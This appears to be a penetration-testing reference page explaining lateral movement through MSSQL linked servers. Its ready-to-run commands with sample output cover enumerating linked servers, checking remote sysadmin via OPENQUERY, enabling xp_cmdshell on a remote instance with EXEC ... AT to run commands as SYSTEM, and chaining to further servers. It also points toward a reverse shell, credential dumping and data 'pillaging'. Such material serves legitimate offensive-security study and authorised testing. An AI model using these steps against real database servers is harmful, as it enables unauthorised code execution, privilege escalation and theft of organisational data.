Skip to content
HackIndex logo

HackIndex

Lateral Movement via MSSQL Linked Servers

3 min read May 15, 2026

Linked servers allow SQL Server to forward queries to remote SQL Server instances, Oracle databases, and other OLE DB sources. When RPC Out is enabled on a linked server, stored procedures including xp_cmdshell can be executed on the remote instance through the current connection. The security context used on the remote end depends on the linked server login mapping — often a high-privilege service account or the self-mapped current login.

This is a lateral movement path that requires no additional credentials when the linked server is configured with a privileged mapped login.

Enumerate Linked Servers and Their Configuration

List all linked servers and key configuration fields from the current instance:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
mysql> SELECT name, product, data_source, is_rpc_out_enabled, is_data_access_enabled FROM sys.servers WHERE is_linked = 1; 
name          data_source    is_rpc_out_enabled  is_data_access_enabled
SQL-PROD-02   10.10.10.52    1                   1
SQL-BACKUP    10.10.10.55    0                   1

SQL-PROD-02 has RPC Out enabled, making it a target for remote stored procedure execution. SQL-BACKUP only has data access enabled, so queries are possible but not procedure calls. Focus on linked servers with is_rpc_out_enabled = 1.

Check what login the linked server connection uses on the remote end:

mysql> EXEC sp_helplinkedsrvlogin; 
Linked Server   Local Login   Is Self Mapping   Remote Login
SQL-PROD-02     NULL          1                 NULL

Is Self Mapping of 1 means the connection uses your current login identity on the remote server. If the current login has sysadmin on the remote instance, you have full access. A Remote Login value indicates a fixed credential is used — worth checking what privilege level that account has.

Execute Queries on the Linked Server

Run queries on the remote instance using OPENQUERY. This works when data access is enabled regardless of RPC Out status:

mysql> SELECT * FROM OPENQUERY([SQL-PROD-02], 'SELECT SYSTEM_USER AS login, IS_SRVROLEMEMBER(''sysadmin'') AS is_sysadmin'); 
login           is_sysadmin
CORP\sqlsvc     1

Sysadmin on the remote instance through the linked server means you have full control of SQL-PROD-02 from the current connection without any additional credentials or network access.

Execute Stored Procedures on the Linked Server

With RPC Out enabled, use the AT keyword to run stored procedures on the remote instance directly. Enable and use xp_cmdshell on the remote server:

mysql> EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [SQL-PROD-02];
mysql> EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [SQL-PROD-02];
mysql> EXEC ('xp_cmdshell ''whoami'';') AT [SQL-PROD-02]; 
output
--------------------
nt authority\system

OS command execution confirmed on the remote SQL Server instance through the linked server connection. Get a reverse shell from the remote host using the same xp_cmdshell reverse shell approach from the exploitation page, executed via the AT syntax.

Chain Through Multiple Linked Servers

Linked servers can chain — a linked server on the remote instance may connect to a third instance. Enumerate linked servers on the remote instance after pivoting to it:

mysql> SELECT * FROM OPENQUERY([SQL-PROD-02], 'SELECT name, data_source, is_rpc_out_enabled FROM sys.servers WHERE is_linked = 1');

Any linked servers returned from the remote instance are accessible by chaining OPENQUERY calls or by establishing a direct connection to the newly discovered instance using credentials harvested from the current host.

For credentials stored in linked server login mappings, see MSSQL Credential Dump. After pivoting to a new instance, run MSSQL Database Pillaging against it to extract application data.

References